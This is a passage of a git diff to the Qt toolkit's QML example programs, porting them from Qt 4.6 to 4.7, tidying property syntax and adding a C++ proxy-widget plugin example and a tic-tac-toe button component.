-Clock { // this class is defined in QML (files/Clock.qml)
+Clock { // this class is defined in QML (com/nokia/TimeExample/Clock.qml)
 
-    Time { // this class is defined in C++ (plugins.cpp)
+    Time { // this class is defined in C++ (plugin.cpp)
         id: time
     }
 
diff --git a/examples/declarative/progressbar/content/ProgressBar.qml b/examples/declarative/progressbar/content/ProgressBar.qml
index 65c80b2..bc36df5 100644
--- a/examples/declarative/progressbar/content/ProgressBar.qml
+++ b/examples/declarative/progressbar/content/ProgressBar.qml
@@ -1,36 +1,43 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: progressbar
-    width: 250; height: 23; clip: true
 
     property int minimum: 0
     property int maximum: 100
     property int value: 0
-    property alias color: g1.color
-    property alias secondColor: g2.color
+    property alias color: gradient1.color
+    property alias secondColor: gradient2.color
+
+    width: 250; height: 23
+    clip: true
 
     BorderImage {
         source: "background.png"
         width: parent.width; height: parent.height
-        border.left: 4; border.top: 4; border.right: 4; border.bottom: 4
+        border { left: 4; top: 4; right: 4; bottom: 4 }
     }
 
     Rectangle {
+        id: highlight
+
         property int widthDest: ((progressbar.width * (value - minimum)) / (maximum - minimum) - 6)
-        id: highlight; radius: 1
-        anchors.left: parent.left; anchors.top: parent.top; anchors.bottom: parent.bottom
-        anchors.leftMargin: 3; anchors.topMargin: 3; anchors.bottomMargin: 3
-        EaseFollow on width { source: highlight.widthDest; velocity: 1200 }
+
+        width: highlight.widthDest
+        Behavior on width { SmoothedAnimation { velocity: 1200 } }
+
+        anchors { left: parent.left; top: parent.top; bottom: parent.bottom; leftMargin: 3; topMargin: 3; bottomMargin: 3 }
+        radius: 1
         gradient: Gradient {
-            GradientStop { id: g1; position: 0.0 }
-            GradientStop { id: g2; position: 1.0 }
+            GradientStop { id: gradient1; position: 0.0 }
+            GradientStop { id: gradient2; position: 1.0 }
         }
+
     }
     Text {
-        anchors.right: highlight.right; anchors.rightMargin: 6
-        color: "white"; font.bold: true
-        anchors.verticalCenter: parent.verticalCenter
+        anchors { right: highlight.right; rightMargin: 6; verticalCenter: parent.verticalCenter }
+        color: "white"
+        font.bold: true
         text: Math.floor((value - minimum) / (maximum - minimum) * 100) + '%'
     }
 }
diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml
index a66d544..55fd682 100644
--- a/examples/declarative/progressbar/progressbars.qml
+++ b/examples/declarative/progressbar/progressbars.qml
@@ -1,22 +1,31 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 
 Rectangle {
     id: main
-    width: 600; height: 405; color: "#edecec"
+
+    width: 600; height: 405
+    color: "#edecec"
 
     Flickable {
-        anchors.fill: parent; contentHeight: column.height + 20
+        anchors.fill: parent
+        contentHeight: column.height + 20
+
         Column {
-            id: column; x: 10; y: 10; spacing: 10
+            id: column
+            x: 10; y: 10
+            spacing: 10
+
             Repeater {
                 model: 25
+
                 ProgressBar {
                     property int r: Math.floor(Math.random() * 5000 + 1000)
                     width: main.width - 20
-                    NumberAnimation on value { duration: r; from: 0; to: 100; repeat: true }
-                    ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; repeat: true }
-                    ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; repeat: true }
+
+                    NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite }
+                    ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite }
+                    ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite }
                 }
             }
         }
diff --git a/examples/declarative/proxywidgets/ProxyWidgets/qmldir b/examples/declarative/proxywidgets/ProxyWidgets/qmldir
new file mode 100644
index 0000000..e55267c
--- /dev/null
+++ b/examples/declarative/proxywidgets/ProxyWidgets/qmldir
@@ -0,0 +1 @@
+plugin proxywidgetsplugin
diff --git a/examples/declarative/proxywidgets/README b/examples/declarative/proxywidgets/README
new file mode 100644
index 0000000..f50fa22
--- /dev/null
+++ b/examples/declarative/proxywidgets/README
@@ -0,0 +1,4 @@
+To run:
+
+  make install
+  qml proxywidgets.qml
diff --git a/examples/declarative/proxywidgets/proxywidgets.cpp b/examples/declarative/proxywidgets/proxywidgets.cpp
new file mode 100644
index 0000000..47d0cb9
--- /dev/null
+++ b/examples/declarative/proxywidgets/proxywidgets.cpp
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+#include <QtDeclarative/qdeclarative.h>
+#include <QtGui/QGraphicsProxyWidget>
+#include <QtGui/QPushButton>
+#include <QDebug>
+
+class MyPushButton : public QGraphicsProxyWidget
+{
+    Q_OBJECT
+    Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
+
+public:
+    MyPushButton(QGraphicsItem* parent = 0)
+        : QGraphicsProxyWidget(parent)
+    {
+        widget = new QPushButton("MyPushButton");
+        widget->setAttribute(Qt::WA_NoSystemBackground);
+        setWidget(widget);
+
+        QObject::connect(widget, SIGNAL(clicked(bool)), this, SIGNAL(clicked(bool)));
+    }
+
+    QString text() const
+    {
+        return widget->text();
+    }
+
+    void setText(const QString& text)
+    {
+        if (text != widget->text()) {
+            widget->setText(text);
+            emit textChanged();
+        }
+    }
+
+Q_SIGNALS:
+    void clicked(bool);
+    void textChanged();
+
+private:
+    QPushButton *widget;
+};
+
+class ProxyWidgetsPlugin : public QDeclarativeExtensionPlugin
+{
+    Q_OBJECT
+public:
+    void registerTypes(const char *uri)
+    {
+        qmlRegisterType<MyPushButton>(uri, 1, 0, "MyPushButton");
+    }
+};
+
+#include "proxywidgets.moc"
+
+QML_DECLARE_TYPE(MyPushButton)
+
+Q_EXPORT_PLUGIN2(proxywidgetsplugin, ProxyWidgetsPlugin);
diff --git a/examples/declarative/proxywidgets/proxywidgets.pro b/examples/declarative/proxywidgets/proxywidgets.pro
new file mode 100644
index 0000000..eb85191
--- /dev/null
+++ b/examples/declarative/proxywidgets/proxywidgets.pro
@@ -0,0 +1,22 @@
+TEMPLATE = lib
+DESTDIR = ProxyWidgets
+TARGET  = proxywidgetsplugin
+CONFIG += qt plugin
+QT += declarative
+VERSION = 1.0.0
+
+SOURCES += proxywidgets.cpp
+
+sources.files += proxywidgets.pro proxywidgets.cpp proxywidgets.qml
+
+sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins
+
+target.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins
+
+INSTALLS += sources target
+
+symbian: include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
+
+symbian:{
+    TARGET.EPOCALLOWDLLDATA = 1
+}
\ No newline at end of file
diff --git a/examples/declarative/proxywidgets/proxywidgets.qml b/examples/declarative/proxywidgets/proxywidgets.qml
new file mode 100644
index 0000000..46dcf99
--- /dev/null
+++ b/examples/declarative/proxywidgets/proxywidgets.qml
@@ -0,0 +1,70 @@
+import Qt 4.7
+import "ProxyWidgets" 1.0
+
+Rectangle {
+    id: window
+
+    property int margin: 30
+
+    width: 640; height: 480
+    color: palette.window
+
+    SystemPalette { id: palette }
+
+    MyPushButton {
+        id: button1
+        x: margin; y: margin
+        text: "Right"
+        transformOriginPoint: Qt.point(width / 2, height / 2)
+
+        onClicked: window.state = "right"
+    }
+
+    MyPushButton {
+        id: button2
+        x: margin; y: margin + 30
+        text: "Bottom"
+        transformOriginPoint: Qt.point(width / 2, height / 2)
+
+        onClicked: window.state = "bottom"
+    }
+
+    MyPushButton {
+        id: button3
+        x: margin; y: margin + 60
+        text: "Quit"
+        transformOriginPoint: Qt.point(width / 2, height / 2)
+
+        onClicked: Qt.quit()
+    }
+
+    states: [
+        State {
+            name: "right"
+            PropertyChanges { target: button1; x: window.width - width - margin; text: "Left"; onClicked: window.state = "" }
+            PropertyChanges { target: button2; x: window.width - width - margin }
+            PropertyChanges { target: button3; x: window.width - width - margin }
+            PropertyChanges { target: window; color: Qt.darker(palette.window) }
+        },
+        State {
+            name: "bottom"
+            PropertyChanges { target: button1; y: window.height - height - margin; rotation: 180 }
+            PropertyChanges {
+                target: button2
+                x: button1.x + button1.width + 10; y: window.height - height - margin
+                rotation: 180
+                text: "Top"
+                onClicked: window.state = ""
+            }
+            PropertyChanges { target: button3; x: button2.x + button2.width + 10; y: window.height - height - margin;  rotation: 180 }
+            PropertyChanges { target: window; color: Qt.lighter(palette.window) }
+        }
+    ]
+
+    transitions: Transition {
+        ParallelAnimation {
+            NumberAnimation { properties: "x,y,rotation"; duration: 600; easing.type: "OutQuad" }
+            ColorAnimation { target: window; duration: 600 }
+        }
+    }
+}
diff --git a/examples/declarative/scrollbar/ScrollBar.qml b/examples/declarative/scrollbar/ScrollBar.qml
index 802b537..5433156 100644
--- a/examples/declarative/scrollbar/ScrollBar.qml
+++ b/examples/declarative/scrollbar/ScrollBar.qml
@@ -1,7 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: scrollBar
+
     // The properties that define the scrollbar's state.
     // position and pageSize are in the range 0.0 - 1.0.  They are relative to the
     // height of the page, i.e. a pageSize of 0.5 means that you can see 50%
@@ -9,23 +10,24 @@ Item {
     // orientation can be either 'Vertical' or 'Horizontal'
     property real position
     property real pageSize
-    property var orientation : "Vertical"
+    property variant orientation : "Vertical"
 
     // A light, semi-transparent background
     Rectangle {
         id: background
-        radius: orientation == 'Vertical' ? (width/2 - 1) : (height/2 - 1)
-        color: "white"; opacity: 0.3
         anchors.fill: parent
+        radius: orientation == 'Vertical' ? (width/2 - 1) : (height/2 - 1)
+        color: "white"
+        opacity: 0.3
     }
     // Size the bar to the required size, depending upon the orientation.
     Rectangle {
-        opacity: 0.7
-        color: "black"
-        radius: orientation == 'Vertical' ? (width/2 - 1) : (height/2 - 1)
         x: orientation == 'Vertical' ? 1 : (scrollBar.position * (scrollBar.width-2) + 1)
         y: orientation == 'Vertical' ? (scrollBar.position * (scrollBar.height-2) + 1) : 1
         width: orientation == 'Vertical' ? (parent.width-2) : (scrollBar.pageSize * (scrollBar.width-2))
         height: orientation == 'Vertical' ? (scrollBar.pageSize * (scrollBar.height-2)) : (parent.height-2)
+        radius: orientation == 'Vertical' ? (width/2 - 1) : (height/2 - 1)
+        color: "black"
+        opacity: 0.7
     }
 }
diff --git a/examples/declarative/scrollbar/display.qml b/examples/declarative/scrollbar/display.qml
index 84763d2..cb1da16 100644
--- a/examples/declarative/scrollbar/display.qml
+++ b/examples/declarative/scrollbar/display.qml
@@ -1,58 +1,54 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 640
     height: 480
+
     // Create a flickable to view a large image.
     Flickable {
         id: view
         anchors.fill: parent
+        contentWidth: picture.width
+        contentHeight: picture.height
+
         Image {
             id: picture
             source: "pics/niagara_falls.jpg"
             asynchronous: true
         }
-        contentWidth: picture.width
-        contentHeight: picture.height
+
         // Only show the scrollbars when the view is moving.
-        states: [
-            State {
-                name: "ShowBars"
-                when: view.moving
-                PropertyChanges { target: verticalScrollBar; opacity: 1 }
-                PropertyChanges { target: horizontalScrollBar; opacity: 1 }
-            }
-        ]
-        transitions: [
-            Transition {
-                from: "*"
-                to: "*"
-                NumberAnimation {
-                    properties: "opacity"
-                    duration: 400
-                }
-            }
-        ]
+        states: State {
+            name: "ShowBars"
+            when: view.moving
+            PropertyChanges { target: verticalScrollBar; opacity: 1 }
+            PropertyChanges { target: horizontalScrollBar; opacity: 1 }
+        }
+
+        transitions: Transition {
+            from: "*"; to: "*"
+            NumberAnimation { properties: "opacity"; duration: 400 }
+        }
     }
+
     // Attach scrollbars to the right and bottom edges of the view.
     ScrollBar {
         id: verticalScrollBar
+        width: 12; height: view.height-12
+        anchors.right: view.right
         opacity: 0
         orientation: "Vertical"
         position: view.visibleArea.yPosition
         pageSize: view.visibleArea.heightRatio
-        width: 12
-        height: view.height-12
-        anchors.right: view.right
     }
+
     ScrollBar {
         id: horizontalScrollBar
+        width: view.width-12; height: 12
+        anchors.bottom: view.bottom
         opacity: 0
         orientation: "Horizontal"
         position: view.visibleArea.xPosition
         pageSize: view.visibleArea.widthRatio
-        height: 12
-        width: view.width-12
-        anchors.bottom: view.bottom
     }
 }
diff --git a/examples/declarative/searchbox/SearchBox.qml b/examples/declarative/searchbox/SearchBox.qml
index 524b652..aae7ee9 100644
--- a/examples/declarative/searchbox/SearchBox.qml
+++ b/examples/declarative/searchbox/SearchBox.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 FocusScope {
     id: focusScope
@@ -18,27 +18,32 @@ FocusScope {
     }
 
     Text {
-        id: typeSomething; anchors.fill: parent; anchors.leftMargin: 8
+        id: typeSomething
+        anchors.fill: parent; anchors.leftMargin: 8
         verticalAlignment: Text.AlignVCenter
-        text: "Type something..."; color: "gray"; font.italic: true
+        text: "Type something..."
+        color: "gray"
+        font.italic: true
     }
 
     MouseArea { anchors.fill: parent; onClicked: focusScope.focus = true }
 
     TextInput {
         id: textInput
-        anchors.left: parent.left; anchors.leftMargin: 8
-        anchors.verticalCenter: parent.verticalCenter
-        focus: if (1) true
+        anchors { left: parent.left; leftMargin: 8; verticalCenter: parent.verticalCenter }
+        focus: true
     }
 
     Image {
         id: clear
-        anchors.right: parent.right; anchors.rightMargin: 8
-        anchors.verticalCenter: parent.verticalCenter
-        source: "images/edit-clear-locationbar-rtl.png"; opacity: 0
+        anchors { right: parent.right; rightMargin: 8; verticalCenter: parent.verticalCenter }
+        source: "images/edit-clear-locationbar-rtl.png"
+        opacity: 0
 
-        MouseArea { anchors.fill: parent; onClicked: { textInput.text = ''; focusScope.focus = true } }
+        MouseArea { 
+            anchors.fill: parent
+            onClicked: { textInput.text = ''; focusScope.focus = true }
+        }
     }
 
     states: State {
diff --git a/examples/declarative/searchbox/main.qml b/examples/declarative/searchbox/main.qml
index 9b33be3..9f73473 100644
--- a/examples/declarative/searchbox/main.qml
+++ b/examples/declarative/searchbox/main.qml
@@ -1,10 +1,12 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    width: 500; height: 250; color: "#edecec"
+    width: 500; height: 250
+    color: "#edecec"
 
     Column {
-        anchors.horizontalCenter: parent.horizontalCenter; anchors.verticalCenter: parent.verticalCenter; spacing: 10
+        anchors { horizontalCenter: parent.horizontalCenter; verticalCenter: parent.verticalCenter }
+        spacing: 10
 
         SearchBox { id: search1; KeyNavigation.tab: search2; KeyNavigation.backtab: search3; focus: true }
         SearchBox { id: search2; KeyNavigation.tab: search3; KeyNavigation.backtab: search1 }
diff --git a/examples/declarative/slideswitch/content/Switch.qml b/examples/declarative/slideswitch/content/Switch.qml
index 758aee6..a8fa6ef 100644
--- a/examples/declarative/slideswitch/content/Switch.qml
+++ b/examples/declarative/slideswitch/content/Switch.qml
@@ -1,5 +1,5 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: toggleswitch
@@ -31,14 +31,17 @@ Item {
 
 //![4]
     Image {
-        id: background; source: "background.svg"
+        id: background
+        source: "background.svg"
         MouseArea { anchors.fill: parent; onClicked: toggle() }
     }
 //![4]
 
 //![5]
     Image {
-        id: knob; source: "knob.svg"; x: 1; y: 2
+        id: knob
+        x: 1; y: 2
+        source: "knob.svg"
 
         MouseArea {
             anchors.fill: parent
diff --git a/examples/declarative/slideswitch/slideswitch.qml b/examples/declarative/slideswitch/slideswitch.qml
index 396749f..51c3c77 100644
--- a/examples/declarative/slideswitch/slideswitch.qml
+++ b/examples/declarative/slideswitch/slideswitch.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 
 Rectangle {
diff --git a/examples/declarative/sql/hello.qml b/examples/declarative/sql/hello.qml
index 277dfeb..8b021b7 100644
--- a/examples/declarative/sql/hello.qml
+++ b/examples/declarative/sql/hello.qml
@@ -1,31 +1,31 @@
-import Qt 4.6
+import Qt 4.7
 
 Text {
-    Script {
-        function findGreetings() {
-            var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000);
-
-            db.transaction(
-                function(tx) {
-                    // Create the database if it doesn't already exist
-                    tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)');
-
-                    // Add (another) greeting row
-                    tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]);
-
-                    // Show all added greetings
-                    var rs = tx.executeSql('SELECT * FROM Greeting');
-
-                    var r = ""
-                    for(var i = 0; i < rs.rows.length; i++) {
-                        r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n"
-                    }
-                    text = r
+    text: "?"
+
+    function findGreetings() {
+        var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000);
+
+        db.transaction(
+            function(tx) {
+                // Create the database if it doesn't already exist
+                tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)');
+
+                // Add (another) greeting row
+                tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]);
+
+                // Show all added greetings
+                var rs = tx.executeSql('SELECT * FROM Greeting');
+
+                var r = ""
+                for(var i = 0; i < rs.rows.length; i++) {
+                    r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n"
                 }
-            )
-        }
+                text = r
+            }
+        )
     }
-    text: "?"
+
     Component.onCompleted: findGreetings()
 }
 
diff --git a/examples/declarative/states/states.qml b/examples/declarative/states/states.qml
index 89f2421..4429e78 100644
--- a/examples/declarative/states/states.qml
+++ b/examples/declarative/states/states.qml
@@ -1,50 +1,61 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
-    width: 640; height: 480; color: "#343434"
+    width: 640; height: 480
+    color: "#343434"
+
+    Image { 
+        id: userIcon
+        x: topLeftRect.x; y: topLeftRect.y
+        source: "user.png"
+    }
 
-    // A target region.  Clicking in here sets the state to the default state
     Rectangle {
-        id: initialPosition
+        id: topLeftRect
+
         anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
+
+        // Clicking in here sets the state to the default state, returning the image to
+        // its initial position
         MouseArea { anchors.fill: parent; onClicked: page.state = '' }
     }
 
-    // Another target region.  Clicking in here sets the state to 'Position1'
     Rectangle {
-        id: position1
+        id: middleRightRect
+
         anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
-        MouseArea { anchors.fill: parent; onClicked: page.state = 'Position1' }
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
+
+        // Clicking in here sets the state to 'middleRight'
+        MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' }
     }
 
-    // Another target region.  Clicking in here sets the state to 'Position2'
     Rectangle {
-        id: position2
+        id: bottomLeftRect
+
         anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
-        MouseArea { anchors.fill: parent; onClicked: page.state = 'Position2' }
-    }
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
 
-    // The image which will be moved when my state changes
-    Image { id: user; source: "user.png"; x: initialPosition.x; y: initialPosition.y }
+        // Clicking in here sets the state to 'bottomLeft'
+        MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' }
+    }
 
     states: [
-        // In state 'Position1', change the 'user' item position to rect2's position.
+        // In state 'middleRight', move the image to middleRightRect
         State {
-            name: "Position1"
-            PropertyChanges { target: user; x: position1.x; y: position1.y }
+            name: "middleRight"
+            PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y }
         },
 
-        // In state 'Position2', change the 'user' item position to rect3's position.
+        // In state 'bottomLeft', move the image to bottomLeftRect
         State {
-            name: "Position2"
-            PropertyChanges { target: user; x: position2.x; y: position2.y  }
+            name: "bottomLeft"
+            PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y  }
         }
     ]
 }
diff --git a/examples/declarative/states/transitions.qml b/examples/declarative/states/transitions.qml
index 8ad61ad..d1b1dd6 100644
--- a/examples/declarative/states/transitions.qml
+++ b/examples/declarative/states/transitions.qml
@@ -1,67 +1,87 @@
-import Qt 4.6
+import Qt 4.7
+
+/*
+    This is exactly the same as states.qml, except that we have appended
+    a set of transitions to apply animations when the item changes 
+    between each state.
+*/
 
 Rectangle {
     id: page
-    width: 640; height: 480; color: "#343434"
+    width: 640; height: 480
+    color: "#343434"
+
+    Image { 
+        id: userIcon
+        x: topLeftRect.x; y: topLeftRect.y
+        source: "user.png"
+    }
 
-    // A target region.  Clicking in here sets the state to the default state
     Rectangle {
-        id: initialPosition
+        id: topLeftRect
+
         anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
+
+        // Clicking in here sets the state to the default state, returning the image to
+        // its initial position
         MouseArea { anchors.fill: parent; onClicked: page.state = '' }
     }
 
-    // Another target region.  Clicking in here sets the state to 'Position1'
     Rectangle {
-        id: position1
+        id: middleRightRect
+
         anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
-        MouseArea { anchors.fill: parent; onClicked: page.state = 'Position1' }
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
+
+        // Clicking in here sets the state to 'middleRight'
+        MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' }
     }
 
-    // Another target region.  Clicking in here sets the state to 'Position2'
     Rectangle {
-        id: position2
+        id: bottomLeftRect
+
         anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 }
-        width: 64; height: 64; radius: 6
-        color: "Transparent"; border.color: "Gray"
-        MouseArea { anchors.fill: parent; onClicked: page.state = 'Position2' }
-    }
+        width: 64; height: 64
+        color: "Transparent"; border.color: "Gray"; radius: 6
 
-    // The image which will be moved when my state changes
-    Image { id: user; source: "user.png"; x: initialPosition.x; y: initialPosition.y }
+        // Clicking in here sets the state to 'bottomLeft'
+        MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' }
+    }
 
     states: [
-        // In state 'Position1', change the 'user' item position to rect2's position.
+        // In state 'middleRight', move the image to middleRightRect
         State {
-            name: "Position1"
-            PropertyChanges { target: user; x: position1.x; y: position1.y }
+            name: "middleRight"
+            PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y }
         },
 
-        // In state 'Position2', change the 'user' item position to rect3's position.
+        // In state 'bottomLeft', move the image to bottomLeftRect
         State {
-            name: "Position2"
-            PropertyChanges { target: user; x: position2.x; y: position2.y  }
+            name: "bottomLeft"
+            PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y  }
         }
     ]
 
-    // transitions define how the properties change.
+    // Transitions define how the properties change when the item moves between each state
     transitions: [
-        // When transitioning to 'Position1' move x,y over a duration of 1 second,
+
+        // When transitioning to 'middleRight' move x,y over a duration of 1 second,
         // with OutBounce easing function.
         Transition {
-            from: "*"; to: "Position1"
+            from: "*"; to: "middleRight"
             NumberAnimation { properties: "x,y"; easing.type: "OutBounce"; duration: 1000 }
         },
-        // When transitioning to 'Position2' move x,y over a duration of 2 seconds,
+
+        // When transitioning to 'bottomLeft' move x,y over a duration of 2 seconds,
         // with InOutQuad easing function.
         Transition {
-            from: "*"; to: "Position2"
+            from: "*"; to: "bottomLeft"
             NumberAnimation { properties: "x,y"; easing.type: "InOutQuad"; duration: 2000 }
         },
+
         // For any other state changes move x,y linearly over duration of 200ms.
         Transition {
             NumberAnimation { properties: "x,y"; duration: 200 }
diff --git a/examples/declarative/tabwidget/TabWidget.qml b/examples/declarative/tabwidget/TabWidget.qml
index f0f7164..26d25b4 100644
--- a/examples/declarative/tabwidget/TabWidget.qml
+++ b/examples/declarative/tabwidget/TabWidget.qml
@@ -1,7 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: tabWidget
+
     property int current: 0
     default property alias content: stack.children
 
@@ -18,21 +19,26 @@ Item {
     Row {
         id: header
         Repeater {
-            delegate:
-            Rectangle {
+            delegate: Rectangle {
                 width: tabWidget.width / stack.children.length; height: 36
+
                 Rectangle {
-                    color: "#acb2c2"; width: parent.width; height: 1
+                    width: parent.width; height: 1
                     anchors { bottom: parent.bottom; bottomMargin: 1 }
+                    color: "#acb2c2"
                 }
                 BorderImage {
-                    source: "tab.png"; visible: tabWidget.current == index; border.left: 7; border.right: 7
                     anchors { fill: parent; leftMargin: 2; topMargin: 5; rightMargin: 1 }
+                    border { left: 7; right: 7 }
+                    source: "tab.png"
+                    visible: tabWidget.current == index
                 }
                 Text {
                     horizontalAlignment: Qt.AlignHCenter; verticalAlignment: Qt.AlignVCenter
-                    anchors.fill: parent; text: stack.children[index].title
-                    elide: Text.ElideRight; font.bold: tabWidget.current == index
+                    anchors.fill: parent
+                    text: stack.children[index].title
+                    elide: Text.ElideRight
+                    font.bold: tabWidget.current == index
                 }
                 MouseArea {
                     anchors.fill: parent
@@ -45,6 +51,7 @@ Item {
 
     Item {
         id: stack
-        anchors.top: header.bottom; anchors.bottom: tabWidget.bottom; width: tabWidget.width
+        width: tabWidget.width
+        anchors.top: header.bottom; anchors.bottom: tabWidget.bottom
     }
 }
diff --git a/examples/declarative/tabwidget/tabs.qml b/examples/declarative/tabwidget/tabs.qml
index 1d11b03..fba203c 100644
--- a/examples/declarative/tabwidget/tabs.qml
+++ b/examples/declarative/tabwidget/tabs.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 TabWidget {
     id: tabs
@@ -6,28 +6,36 @@ TabWidget {
 
     Rectangle {
         property string title: "Red"
-        anchors.fill: parent; color: "#e3e3e3"
+        anchors.fill: parent
+        color: "#e3e3e3"
+
         Rectangle {
             anchors { fill: parent; topMargin: 20; leftMargin: 20; rightMargin: 20; bottomMargin: 20 }
             color: "#ff7f7f"
             Text {
+                width: parent.width - 20
                 anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
-                text: "Roses are red"; font.pixelSize: 20
-                wrap: true; width: parent.width - 20
+                text: "Roses are red"
+                font.pixelSize: 20
+                wrapMode: Text.WordWrap
             }
         }
     }
 
     Rectangle {
         property string title: "Green"
-        anchors.fill: parent; color: "#e3e3e3"
+        anchors.fill: parent
+        color: "#e3e3e3"
+
         Rectangle {
             anchors { fill: parent; topMargin: 20; leftMargin: 20; rightMargin: 20; bottomMargin: 20 }
             color: "#7fff7f"
             Text {
+                width: parent.width - 20
                 anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
-                text: "Flower stems are green"; font.pixelSize: 20
-                wrap: true; width: parent.width - 20
+                text: "Flower stems are green"
+                font.pixelSize: 20
+                wrapMode: Text.WordWrap
             }
         }
     }
@@ -35,13 +43,16 @@ TabWidget {
     Rectangle {
         property string title: "Blue"
         anchors.fill: parent; color: "#e3e3e3"
+
         Rectangle {
             anchors { fill: parent; topMargin: 20; leftMargin: 20; rightMargin: 20; bottomMargin: 20 }
             color: "#7f7fff"
             Text {
+                width: parent.width - 20
                 anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
-                text: "Violets are blue"; font.pixelSize: 20
-                wrap: true; width: parent.width - 20
+                text: "Violets are blue"
+                font.pixelSize: 20
+                wrapMode: Text.WordWrap
             }
         }
     }
diff --git a/examples/declarative/tic-tac-toe/content/Button.qml b/examples/declarative/tic-tac-toe/content/Button.qml
new file mode 100644
index 0000000..ecf18cd
--- /dev/null
+++ b/examples/declarative/tic-tac-toe/content/Button.qml
@@ -0,0 +1,37 @@
+import Qt 4.7
+
+Rectangle {
+    id: container
+
+    property string text: "Button"
+    property bool down: false
+    property string mainCol: "lightgray"
+    property string darkCol: "darkgray"
+    property string lightCol: "white"
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    border { width: 1; color: Qt.darker(mainCol) } 
+    radius: 8;
+    color: mainCol
+    smooth: true
+
+    gradient: Gradient {
+        GradientStop {
+            id: topGrad; position: 0.0
+            color: if (container.down) { darkCol } else { lightCol }
+        }
+        GradientStop { position: 1.0; color: mainCol }
+    }
+
+    signal clicked
+
+    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+
+    Text {
+        id: buttonLabel
+
+        anchors.centerIn: container
